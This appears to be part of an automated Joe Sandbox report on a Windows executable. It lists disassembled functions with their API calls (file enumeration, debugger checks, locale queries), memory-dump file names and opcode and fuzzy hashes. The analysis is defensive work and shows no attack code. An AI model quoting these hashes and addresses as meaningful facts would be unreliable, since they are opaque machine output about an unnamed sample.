Instruction ID: 026f54ac38aac61291b61099152ba47e0bb7c807c13bd6ee2e1f96e6a0f64e50
Opcode Fuzzy Hash: 1db41d8ced2c68efb93eb4824350707cc8e832f0d1b4fd71372b4f05a342c3b7
Instruction Fuzzy Hash: 0E516D71A01215AFDF20DFAACC81ABE77B8EF16700F184569E910E7190EBB0DA44DB71

Function 00DA375A Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA384A

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 2d14cef21292f10e5593b6ccf3bfa48eff40f7491a6616d560753801a45dd5ef
Instruction ID: d5687e0ffc7caa4e73635a7d3c740480b2f291e4ae22ccb610c7faae6ca46b13
Opcode Fuzzy Hash: 2d14cef21292f10e5593b6ccf3bfa48eff40f7491a6616d560753801a45dd5ef
Instruction Fuzzy Hash: 8771B5B1D05158AFDF20EF68DC9DAAAB7BAEB06300F1845D9F04993211DA358F849F30

Function 00D95020 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D9502C
IsDebuggerPresent.KERNEL32 ref: 00D950F8
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D95111
UnhandledExceptionFilter.KERNEL32(?), ref: 00D9511B

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 6f445ee5b5de75ed6dfbb2658318ada7b13dd4904521bde64863eaa225275a73
Instruction ID: a9c87d425dbed86d9336bc530b32134d90064b4263988bf675de06246cdbc428
Opcode Fuzzy Hash: 6f445ee5b5de75ed6dfbb2658318ada7b13dd4904521bde64863eaa225275a73
Instruction Fuzzy Hash: 9431F975D05319DBDF21EF64D9497CDBBB8AF08300F1041AAE40DAB250EB719B858F55

Function 00DA2CFF Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DA2D53
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DA2D9D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DA2E63

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: a11d612c964ea9ad4adf1870d9248848bd514114de4db5e129752c186889793a
Instruction ID: 2cf574dc47e6441bf6814555367777630901d101ca8f0fe499c3d1095bfd3050
Opcode Fuzzy Hash: a11d612c964ea9ad4adf1870d9248848bd514114de4db5e129752c186889793a
Instruction Fuzzy Hash: 04617071910207DFDF289F2ACC82BBA77A9EF15301F1441AAF915C6685E778DA80DB70

Function 00D9B4B9 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00D931E1), ref: 00D9B5B1
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00D931E1), ref: 00D9B5BB
UnhandledExceptionFilter.KERNEL32(00D91542,?,?,?,?,?,00D931E1), ref: 00D9B5C8

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c18ba2bf37da6e124f6e7769b9b688a62a632d840b0356f68b5586b6a846edef
Instruction ID: 5672bbdd4d2966991cb5a2a727567365fc41b4ce80bab327c4084f0f6d1f2a1c
Opcode Fuzzy Hash: c18ba2bf37da6e124f6e7769b9b688a62a632d840b0356f68b5586b6a846edef
Instruction Fuzzy Hash: 5A31B574901229EBCF21DF24D98978CBBB8BF48310F5142DAE41CA6251E7709B858F64

Function 00DA36A9 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9F807: HeapAlloc.KERNEL32(00000008,?,00D931E1,?,00D9E921,00000001,00000364,00D931E1,00000003,000000FF,?,00D960C1,00D9186C,00D9186A,?,?), ref: 00D9F848

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA384A
FindNextFileW.KERNEL32(00000000,?), ref: 00DA393E
FindClose.KERNEL32(00000000), ref: 00DA397D
FindClose.KERNEL32(00000000), ref: 00DA39B0

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 8384c15010d3cd844f92c9e0b7ad4d037a2e139fb2f59f4285be3c8da050c5ab
Instruction ID: 00744be61009c0c4023d835671f0839efcc57abd68d8638a315dbb1540cb0af3
Opcode Fuzzy Hash: 8384c15010d3cd844f92c9e0b7ad4d037a2e139fb2f59f4285be3c8da050c5ab
Instruction Fuzzy Hash: D2515AB5A00218AFDF14DF789C85DBEB7BADF86314F284199F449D3201EA309E419B70

Function 00DA2FB1 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DA3005

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 392ca67b660913c7cfcdb8a3dd9a5ba91b4f8deb28169637661206d2efedb790
Instruction ID: eeac996609e33b4ec175f0ca54f06fa79fe26ed6e5e749f39af2ca7624e3a508
Opcode Fuzzy Hash: 392ca67b660913c7cfcdb8a3dd9a5ba91b4f8deb28169637661206d2efedb790
Instruction Fuzzy Hash: 79219272601206ABEF289F29DC42ABB73A9EF46311B14017AFD01D6145EB74EE508B75

Function 00DA30D1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00DA3125

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b68d6bde79616c9ed41f3d6fb3a8a97317fc04eaa9e679b9f3cfe833d96f0dbc
Instruction ID: 1bfed8f33ae0870894d66df68fddda4f644739a7e3bf165d86eb7f6255abe32c
Opcode Fuzzy Hash: b68d6bde79616c9ed41f3d6fb3a8a97317fc04eaa9e679b9f3cfe833d96f0dbc
Instruction Fuzzy Hash: 9711C632611316EBDB14EB68DC42ABA77E9EF06310B14017AF505D7241EB78EE0097B0

Function 00DA2C64 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

EnumSystemLocalesW.KERNEL32(00DA2CFF,00000001,00000000,?,-00000050,?,00DA2AEF,00000000,-00000002,00000000,?,00000055,?), ref: 00DA2CD6

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: bcb934da88e1fd6d1e06e0cb10c42a915b89e68c7ec7dbfe774acf6b704f3bfa
Instruction ID: 65c41c4e10ce2841257560bd490553c0b7ff22cd1cbf508a460b6459844815f3
Opcode Fuzzy Hash: bcb934da88e1fd6d1e06e0cb10c42a915b89e68c7ec7dbfe774acf6b704f3bfa
Instruction Fuzzy Hash: 2911293B2003019FDB18AF3DC89167ABB92FF80328B18442CE94687B40D371A942D760

Function 00DA327E Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00DA2F1B,00000000,00000000,?), ref: 00DA32AA

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 3b12def7dca144be70795977b98ba9ec4e9a86b04405439a3ed9eae144f8cb5a
Instruction ID: ea4b3078afb54e172ec50d7198b9aeea1a193cb4bbecd07a954716ca2f723869
Opcode Fuzzy Hash: 3b12def7dca144be70795977b98ba9ec4e9a86b04405439a3ed9eae144f8cb5a
Instruction Fuzzy Hash: 3D01D632600212BBDF185A64C846BBA3B55DB41B54F294529FC52A3180EA71FF41C7B8

Function 00DA2F52 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

EnumSystemLocalesW.KERNEL32(00DA2FB1,00000001,?,?,-00000050,?,00DA2AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00DA2F9C

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d11e43c7b6a8a7f986439146e22d5a61420abc0364f7494dcafcf1a69acc7936
Instruction ID: 96ee771d38dd781c3c1dab5ba3d1850b0eb7114bbfb512f292a5e9b181219fbd
Opcode Fuzzy Hash: d11e43c7b6a8a7f986439146e22d5a61420abc0364f7494dcafcf1a69acc7936
Instruction Fuzzy Hash: E2F0F6362043045FDB145F3A9C81A7A7BA1EF81768B09842CF9458B680C7B19C42C670

Function 00D9F717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9B750: EnterCriticalSection.KERNEL32(-00023A67,?,00D98F5A,00000000,00DB44D8,0000000C,00D98F13,?,?,00D9F83A,?,?,00D9E921,00000001,00000364,00D931E1), ref: 00D9B75F

EnumSystemLocalesW.KERNEL32(00D9F70A,00000001,00DB4928,0000000C,00D9F118,-00000050), ref: 00D9F74F

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 85ecfe2a29de5eb88fbdfa8e66f9a612e1014163ec4066ca2fa8de24f5253f6f
Instruction ID: f3227b829f6cc0d8d10922fe5075c902b45517f10672c623b2a680ba665dcfdf
Opcode Fuzzy Hash: 85ecfe2a29de5eb88fbdfa8e66f9a612e1014163ec4066ca2fa8de24f5253f6f
Instruction Fuzzy Hash: 96F0EC76A04304DFDB01DF99E842B9D77B0EB49721F10426AE415DB3A1CB7999058FA0

Function 00DA3086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D9E783: GetLastError.KERNEL32(00000000,?,00DA0AB9), ref: 00D9E787
Part of subcall function 00D9E783: SetLastError.KERNEL32(00000000,?,?,00000028,00D9B9D2), ref: 00D9E829

EnumSystemLocalesW.KERNEL32(00DA30D1,00000001,?,?,?,00DA2B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00DA30BD

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 35d9736f867466ce5e1f316ee234e212412841d8223de1cd929913ee0cea6332
Instruction ID: d3b1d9a75320232e3f07a9ba576f2af1e502773dc9e660ac9a8c9752bbd59c04
Opcode Fuzzy Hash: 35d9736f867466ce5e1f316ee234e212412841d8223de1cd929913ee0cea6332
Instruction Fuzzy Hash: 08F0E53A7003099BCB04AF39D84566ABF95EFC2750B0B4058FA058B291C672DA82C7B4

Function 00D9F21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00D9A4BC,?,20001004,00000000,00000002,?,?,00D993CE), ref: 00D9F250

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 0401d3411ca259095fc851bcbcce462f02ba6cb63789a90c1ca3ffa942c68764
Instruction ID: c80fa10876d854d7daf75d5c518318096b1003b71f953411abc5e1523904526f
Opcode Fuzzy Hash: 0401d3411ca259095fc851bcbcce462f02ba6cb63789a90c1ca3ffa942c68764
Instruction Fuzzy Hash: DEE04F36500218FBCF122F60DC05BAE3F15EF44761F044520FD05E5261CB719920AAB9

Function 00D95014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 00D95019

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: baf3bec6e1c54c3db2e737afb8bfc7bc493ea5e6a194c46838901c08ab78875f
Instruction ID: b75780099d7ba157746100040f4a0cba8b783792bba6c3df286107b388a873ac
Opcode Fuzzy Hash: baf3bec6e1c54c3db2e737afb8bfc7bc493ea5e6a194c46838901c08ab78875f
Instruction Fuzzy Hash:

Function 00D9FE2C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00D9FE2C

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963758068.0000000000DB8000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963789427.0000000000DBA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963818457.0000000000DBD000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d90000_5639a58f3b.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3e3680d5651ea196a823d2468600b792971906299de71bffa8b723659728edfa
Instruction ID: 2364834a9cc59616da45aeabc9853b0779cdb416d09c6eff6d6778e5324c5098
Opcode Fuzzy Hash: 3e3680d5651ea196a823d2468600b792971906299de71bffa8b723659728edfa
Instruction Fuzzy Hash: E3A01230501300DB87008F3569046183A985A041803444114A000C0220DB24C0406F10

Function 00DAA222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0057FF48,0057FF48,00000000,7FFFFFFF,?,00DAA20D,0057FF48,0057FF48,00000000,0057FF48,?,?,?,?,0057FF48,00000000), ref: 00DAA2C8
__alloca_probe_16.LIBCMT ref: 00DAA383
__alloca_probe_16.LIBCMT ref: 00DAA412
__freea.LIBCMT ref: 00DAA45D
__freea.LIBCMT ref: 00DAA463
__freea.LIBCMT ref: 00DAA499
__freea.LIBCMT ref: 00DAA49F
__freea.LIBCMT ref: 00DAA4AF

Memory Dump Source

Source File: 00000008.00000002.2963553100.0000000000D91000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000008.00000002.2963536212.0000000000D90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963574658.0000000000DAC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963693510.0000000000DB5000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.2963724025.0000000000DB6000.00000004.00000001.01000000.00000009.sdmpDownload File
